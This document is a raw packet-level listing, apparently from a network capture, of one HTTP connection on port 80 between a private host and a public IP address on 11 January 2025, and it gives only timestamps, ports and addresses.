Jan 11, 2025 08:45:03.335520029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335531950 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335553885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335592031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335596085 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335644007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335680008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335690975 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335712910 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335747957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335776091 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335781097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335817099 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335819960 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335851908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335931063 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.336261988 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336313963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336352110 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336366892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.336405039 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336440086 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336474895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336482048 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.336510897 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336517096 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.336565018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336600065 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336631060 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.336635113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336669922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336679935 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.336704969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336741924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.336760044 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.337342978 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337394953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337397099 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.337430000 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337464094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337505102 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.337517023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337551117 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337563038 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.337588072 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337621927 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337656021 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.337656975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337691069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337701082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.337727070 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337759972 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337795973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.337805986 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.337840080 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.338282108 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338315964 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338367939 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338381052 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.338418961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338453054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338455915 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.338488102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338524103 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338534117 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.338557959 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338593960 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.338604927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.340958118 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.345613956 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.366498947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.366533995 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.366550922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.366559982 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.366595984 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.404154062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404201984 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404238939 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404299974 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404299974 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.404336929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404361010 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.404372931 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404417992 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.404423952 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404459000 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404489994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404522896 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404555082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.404557943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.404565096 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.420603037 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.420648098 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.420671940 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.420676947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.420694113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.420711040 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.420732975 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.420775890 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.441488981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441524029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441539049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441574097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441582918 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.441591024 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441606998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441639900 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.441665888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.441690922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441711903 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441775084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441801071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441814899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441816092 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.441833973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.441840887 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.441868067 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458091974 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458122015 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458137035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458153009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458249092 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458292961 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458293915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458308935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458332062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458348036 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458354950 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458364010 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458403111 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458416939 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458455086 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458550930 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458566904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458581924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458604097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458617926 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458626986 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458635092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458651066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458653927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458672047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458674908 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458688974 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458712101 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458762884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458802938 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458820105 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458852053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458926916 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458942890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458957911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.458961964 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.458997011 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459021091 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459037066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459078074 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459091902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459106922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459124088 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459126949 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459139109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459163904 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459359884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459374905 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459392071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459393978 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459417105 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459430933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459446907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459449053 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459476948 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459630013 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459645987 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459661007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459686041 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459686995 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459702015 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459709883 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459717989 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459733963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459742069 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459779978 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.459839106 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459923983 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459939003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459954023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459969044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459985971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.459985971 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460000992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460016966 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460042953 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460042953 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460043907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460055113 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460059881 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460074902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460089922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460103035 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460105896 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460127115 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460544109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460568905 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460585117 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460592031 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460671902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460688114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460701942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460711002 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460719109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460741997 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460760117 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460882902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460899115 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460912943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460927963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460937977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.460944891 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460959911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460974932 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.460983992 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461003065 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461014032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461029053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461042881 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461066961 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461069107 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461085081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461090088 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461101055 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461124897 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461505890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461533070 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461549044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461575031 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461601019 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461646080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461662054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461678028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461694002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461704969 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461738110 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461771011 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461786985 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461802006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461824894 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461833954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461849928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461867094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461875916 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461883068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461900949 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461914062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.461921930 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.461950064 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.465766907 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.490928888 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.490991116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.491040945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.491072893 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.491101980 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.491103888 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.491138935 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.491143942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.491156101 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.491173983 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.491204977 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.491247892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.507474899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507514954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507529974 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507536888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.507560015 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507577896 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507596970 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.507644892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.507682085 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507700920 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507730007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.507774115 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.528577089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.528652906 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.528692961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.528728008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.528739929 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.528772116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.528784990 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.528808117 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.528817892 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.528846979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.530986071 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545001984 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545043945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545064926 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545101881 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545119047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545135021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545146942 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545152903 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545201063 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545207977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545241117 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545279026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545295954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545311928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545351982 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545458078 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545475960 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545494080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545496941 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545511007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545531988 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545555115 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545571089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545588017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545602083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545607090 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545619011 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545629025 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545660019 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545686007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545712948 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545730114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545751095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545768023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545773029 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545782089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545808077 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545823097 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.545840979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545942068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545958996 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545974016 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545991898 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.545999050 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546006918 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.546024084 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546044111 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.546133041 CET	80	49747	193.143.1.205	192.168.2.9
